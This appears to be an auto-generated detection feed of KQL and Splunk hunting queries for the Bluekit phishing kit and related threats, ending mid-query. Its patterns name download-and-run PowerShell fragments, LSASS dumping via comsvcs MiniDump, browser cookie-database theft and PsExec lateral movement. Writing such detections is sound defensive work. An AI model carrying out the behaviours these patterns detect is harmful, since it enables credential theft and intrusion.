2026-04-306 use cases3 techniques4 kill-chain phases detected
A new phishing kit named Bluekit offers more than 40 templates targeting popular services and includes basic AI features for generating campaign drafts. [...]
ATT&CKT1190T1566T1566.001
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
—
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Likely
Phase 6
Command & Control
Detected
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender · [LLM] Lookalike-domain visits impersonating Bluekit's distinctive brand template set (Ledger/ProtonMail/Zoho/Zara)
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha)
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking. → [LLM] Endpoint traffic to known Bluekit PhaaS operator/panel infrastructure (bluekit.pk/.su/.cc)
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
[LLM] Endpoint traffic to known Bluekit PhaaS operator/panel infrastructure (bluekit.pk/.su/.cc)Command & ControlHigh
Hunts for any corporate device or user contacting the publicly identified Bluekit phishing-as-a-service operator domains. A hit suggests either an insider operating Bluekit campaigns, a compromised redteam/dev box being used to manage one, or unsanctioned research. Confirmed across Varonis' writeup and DarkWebInformer/Bolster reporting that these are the operator's marketplace and panel hostnames.
Rationale: The three Bluekit operator hostnames (bluekit.pk, bluekit.su, bluekit.cc) were corroborated by DarkWebInformer's seller-listing screenshot and Bolster.ai's PhaaS coverage; they are not generic infrastructure and have no benign reason to appear in enterprise telemetry. Detection is a single-string match so FP rate is essentially nil.
Cross-checked against:
• https://www.varonis.com/blog/bluekit
• https://x.com/DarkWebInformer/status/2046717528211108020
• https://hackread.com/bluekit-phishing-kit-targets-platforms-mfa-bypass-attack/
• https://bolster.ai/blog/phishing-kit-creator-stealing-telegram-token
ATT&CKT1583.001T1567T1566.002
Data sourcesWeb.WebNetwork_Resolution.DNSNetwork_Traffic.All_Traffic
let bluekit_hosts = dynamic(["bluekit.pk","bluekit.su","bluekit.cc"]);
union
( DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has_any (bluekit_hosts) or tolower(RemoteUrl) matches regex @"(^|//|\.)bluekit\.(pk|su|cc)(/|:|$)"
| project Timestamp, DeviceName, ActionType, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName=InitiatingProcessAccountName
),
( DeviceEvents
| where Timestamp > ago(30d)
| where ActionType == "DnsQueryResponse" or ActionType startswith "Dns"
| extend QueryName = tostring(parse_json(AdditionalFields).QueryName)
| where QueryName has_any (bluekit_hosts)
| project Timestamp, DeviceName, ActionType, QueryName, InitiatingProcessFileName, AccountName=InitiatingProcessAccountName
)
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Web.url) as urls values(Web.http_user_agent) as ua from datamodel=Web.Web where (Web.dest IN ("bluekit.pk","bluekit.su","bluekit.cc") OR Web.url="*bluekit.pk*" OR Web.url="*bluekit.su*" OR Web.url="*bluekit.cc*") by Web.src Web.user Web.dest | `drop_dm_object_name(Web)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | append [ | tstats summariesonly=true count from datamodel=Network_Resolution.DNS where DNS.query IN ("bluekit.pk","*.bluekit.pk","bluekit.su","*.bluekit.su","bluekit.cc","*.bluekit.cc") by DNS.src DNS.query | `drop_dm_object_name(DNS)` ]
[LLM] Lookalike-domain visits impersonating Bluekit's distinctive brand template set (Ledger/ProtonMail/Zoho/Zara)DeliveryMedium
Hunts for users browsing newly-seen domains that brand-impersonate the unusual targets in Bluekit's 40-template lineup — specifically Ledger, ProtonMail, Zoho and Zara, which together are a distinctive fingerprint vs. typical Microsoft/Google-only PhaaS kits. Combined with Evilginx AitM behaviour, a cookie-bearing POST to such a domain followed by the legitimate brand domain is a strong AitM session-theft signal.
Rationale: Bluekit's template lineup explicitly named in Varonis' analysis includes the unusual quartet of Ledger, ProtonMail, Zoho and Zara — brands that almost no other commodity PhaaS targets simultaneously. Hunting brand-impersonation hostnames anchored on this list (rather than the universal Microsoft/Google focus) yields detection that is genuinely Bluekit-specific. Tier is hunting because regex-based brand matching has medium FP and benefits from human triage.
Cross-checked against:
• https://www.varonis.com/blog/bluekit
• https://hackread.com/bluekit-phishing-kit-targets-platforms-mfa-bypass-attack/
• https://www.techradar.com/pro/security/researchers-discover-new-all-in-one-bluekit-phishing-kit-capable-of-bypassing-enterprise-2fa-protocols-and-emulating-40-global-brands
ATT&CKT1566.002T1557T1539T1583.001
Data sourcesWeb.WebNetwork_Resolution.DNS
let brand_regex = @"(^|[.\-])(ledger|protonmail|proton-mail|zoho|zara|icloud|appleid|apple-id|github|gmail|outlook|hotmail|yahoo|twitter)([.\-]|$)";
let legit_suffixes = dynamic(["ledger.com","ledger.fr","proton.me","protonmail.com","zoho.com","zoho.eu","zara.com","inditex.com","icloud.com","apple.com","github.com","githubusercontent.com","gmail.com","google.com","googleusercontent.com","outlook.com","live.com","office.com","microsoft.com","hotmail.com","yahoo.com","twitter.com","x.com"]);
let cdn_tokens = dynamic(["akamai","cloudfront","cloudflare","fastly","azureedge","edgekey"]);
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where ActionType in ("ConnectionSuccess","HttpConnectionInspected")
| where isnotempty(RemoteUrl)
| extend host = tolower(tostring(parse_url(RemoteUrl).Host))
| where host matches regex brand_regex
| where not(host has_any (legit_suffixes))
| where not(host has_any (cdn_tokens))
| summarize first_seen=min(Timestamp), last_seen=max(Timestamp), hits=count(), users=make_set(InitiatingProcessAccountName,5), procs=make_set(InitiatingProcessFileName,5) by DeviceName, host
| where first_seen > ago(14d) // emphasise newly-seen lookalikes
| order by first_seen asc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Web.url) as urls from datamodel=Web.Web where Web.dest!="" by Web.src Web.user Web.dest | `drop_dm_object_name(Web)` | eval dest_lc=lower(dest) | where match(dest_lc,"(^|[.-])(ledger|protonmail|proton-mail|zoho|zara|icloud|appleid|apple-id|github|gmail|outlook|hotmail|yahoo|twitter)([.-]|$)") | where NOT match(dest_lc,"(^|\.)(ledger\.com|ledger\.fr|proton\.me|protonmail\.com|zoho\.com|zoho\.eu|zara\.com|inditex\.com|icloud\.com|apple\.com|github\.com|githubusercontent\.com|gmail\.com|google\.com|googleusercontent\.com|outlook\.com|live\.com|office\.com|microsoft\.com|hotmail\.com|yahoo\.com|twitter\.com|x\.com)$") | where NOT match(dest_lc,"(akamai|cloudfront|cloudflare|fastly|azureedge|edgekey)") | join type=left dest [ | tstats summariesonly=true min(_time) as domain_first_seen from datamodel=Web.Web by Web.dest | `drop_dm_object_name(Web)` ] | eval age_days=round((firstTime-domain_first_seen)/86400,1) | where domain_first_seen >= relative_time(now(),"-14d") | table firstTime lastTime src user dest age_days count urls | `security_content_ctime(firstTime)`
2026-04-3012 use cases4 techniques6 kill-chain phases detected
In this week’s newsletter, Hazel uses International Superhero Day as a springboard to explore why empathy — rather than just technical prowess — is the most essential, underrated superpower for navigating the human side of cybersecurity.
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Article-specific behavioural hunt — Great responsibility, without great power · [LLM] LiteLLM pre-auth SQL injection via crafted Authorization header (CVE-2026-42208)
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · Remote service execution — PsExec / SMB lateral movement
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-42208")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-42208")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where Filesystem.file_hash IN ("9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507", "96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974", "90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59", "38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55", "a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91", "e60ab99da105ee27ee09ea64ed8eb46d8edc92ee37f039dbc3e2bb9f587a33ba", "2915b3f8b703eb744fc54c81f4a9c67f", "aac3165ece2959f39ff98334618d10d9", "c2efb2dcacba6d3ccc175b6ce1b7ed0a", "41444d7018601b599beac0c60ed1bf83", "7bdbd180c081fa63ca94f9c22c457376", "dbd8dbecaa80795c135137d69921fdba")
by Filesystem.dest, Filesystem.user, Filesystem.file_path, Filesystem.file_name, Filesystem.file_hash
| `drop_dm_object_name(Filesystem)`
| append
[| tstats `summariesonly` count from datamodel=Endpoint.Processes
where Processes.process_hash IN ("9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507", "96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974", "90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59", "38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55", "a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91", "e60ab99da105ee27ee09ea64ed8eb46d8edc92ee37f039dbc3e2bb9f587a33ba", "2915b3f8b703eb744fc54c81f4a9c67f", "aac3165ece2959f39ff98334618d10d9", "c2efb2dcacba6d3ccc175b6ce1b7ed0a", "41444d7018601b599beac0c60ed1bf83", "7bdbd180c081fa63ca94f9c22c457376", "dbd8dbecaa80795c135137d69921fdba")
by Processes.dest, Processes.user, Processes.process_name, Processes.process_hash
| `drop_dm_object_name(Processes)`]
Article-specific behavioural hunt — Great responsibility, without great powerExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — Great responsibility, without great power
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("vid001.exe", "d4aa3e7010220ad1b458fac17039c274_63_exe.exe", "apq9305.dll", "content.js", "d4aa3e7010220ad1b458fac17039c274_62_exe.exe", "u992574.dll"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
